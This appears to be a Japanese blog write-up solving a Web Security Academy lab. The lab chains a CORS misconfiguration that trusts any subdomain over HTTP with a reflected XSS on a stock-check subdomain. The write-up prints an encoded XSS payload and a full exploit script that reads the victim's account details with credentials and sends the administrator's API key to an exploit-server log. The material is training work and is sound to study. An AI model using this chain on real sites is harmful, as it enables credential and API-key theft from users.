Hello there, ('ω')ノ
信頼できる安全でないプロトコルによるCORSの脆弱性を。
サイトには、プロトコルに関係なくすべてのサブドメインを信頼するという点で。
安全でないCORS構成があるようで。
まずは、ログインしてアカウントページにアクセスして。
履歴を確認すると。
/ ccountDetailsへのAJAXリクエストを介して取得されて。
レスポンスには、CORSをサポートする可能性があることを示唆する。
Access-Control-Allow-Credentialsヘッダが含まれていて。
下記を追加してSendすると。
オリジンがAccess-Control-Allow-Originヘッダに反映されて。
CORSがHTTPSとHTTPの両方の任意のサブドメインからアクセスを許可していて。
Origin: http://subdomain.aca31fcf1e8d18b1800a078000ef003d.web-security-academy.net
インターセプトをオンにして。
Check stockをクリックすると。
下記のサブドメインで読み込まれているようで。
stock.aca31fcf1e8d18b1800a078000ef003d.web-security-academy.net
一応、下記を追加してさきほどのリピータでレスポンスを確認して。
Origin: https://stock.aca31fcf1e8d18b1800a078000ef003d.web-security-academy.net
下記のXSSのペイロードをエンコードして。
<img src=x onmouseover=alert(1) >
ペイロードを挿入して、Forwardすると。
GET /?productId=%3c%69%6d%67%20%73%72%63%3d%78%20%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%61%6c%65%72%74%28%31%29%20%3e&storeId=1
XSSの脆弱性が確認できたので。
さっそく、エクスプロイトサーバに移動して。
いつものコードにXSSのペイロードを組み込んだものを挿入して。
Storeして、Deliver exploit to victimで送信して。
<script>
document.location="http://stock.aca31fcf1e8d18b1800a078000ef003d.web-security-academy.net/?productId=1<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://aca31fcf1e8d18b1800a078000ef003d.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://acb51fa91ef91862801c0794015b0012.web-security-academy.net/exploit/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
ログの中からAdministratorのAPI Keyをコピーして。
デコードして。
API Keyを入力すると。
クリアできた。
Best regards, (^^ゞ